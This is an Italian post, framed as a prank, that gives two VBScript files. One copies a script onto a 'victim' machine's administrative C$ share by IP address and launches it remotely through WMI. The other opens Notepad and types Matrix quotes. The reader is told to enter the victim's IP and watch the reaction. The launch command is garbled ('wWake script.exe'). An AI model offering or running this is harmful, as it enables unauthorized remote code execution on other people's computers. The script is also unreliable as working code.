un gioco...

copiare e salvare in c:\temp\ il seguete script joke.vbs

on error resume next

Const OverwriteExisting = TRUE

myValue = InputBox("IP vittima?")

Set objFSO = CreateObject("Scripting.FileSystemObject")

objFSO.CopyFile "c:\temp\neo_sorg.vbs" , "\\" & myvalue & "\c$\temp\neo.vbs", OverwriteExisting

Set objWMIService = GetObject _

    ("winmgmts:\\" & myValue & "\root\cimv2:Win32_Process")

 

Error = objWMIService.Create("wWake script.exe c:\temp\neo.vbs", null, null, intProcessID)

If Error = 0 Then

    Wscript.Echo "Notepad was started with a process ID of " _

         & intProcessID & "."

Else

    Wscript.Echo "Notepad could not be started due to error " & _

        Error & "."

End If

copiare e salvare in c:\temp\ il seguente script con il nome neo_sorg.vbs

' Open notepad 

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad.exe", 9

' Give Notepad time to load

WScript.Sleep 500 

Dim Stooges(2)

    Dim i

    Dim OutStr

    Stooges(0) = "Wake "

    Stooges(1) = "up, "

    Stooges(2) = "Neo..."

    For i = 0 to UBound(Stooges)

WScript.Sleep 1500

WshShell.SendKeys Stooges(i)

      

    Next

WScript.Sleep 1500

WshShell.SendKeys "{ENTER}"

WScript.Sleep 1500

Dim Stooges_sec(3)

    

    Stooges_sec(0) = "The "

    Stooges_sec(1) = "Matrix "

    Stooges_sec(2) = "has "

    Stooges_sec(3) = "you... "

    For i = 0 to UBound(Stooges_sec)

WScript.Sleep 1500

WshShell.SendKeys Stooges_sec(i)

      

    Next

WScript.Sleep 1500

WshShell.SendKeys "{ENTER}"

WScript.Sleep 1500

Dim Stooges_ter(3)

    

    Stooges_ter(0) = "Follow "

    Stooges_ter(1) = "the "

    Stooges_ter(2) = "White "

    Stooges_ter(3) = "Rabbit... "

    For i = 0 to UBound(Stooges_ter)

WScript.Sleep 1500

WshShell.SendKeys Stooges_ter(i)

   

    Next

... avviare il primo script, dare l'ip della vittima e osservare la reazione!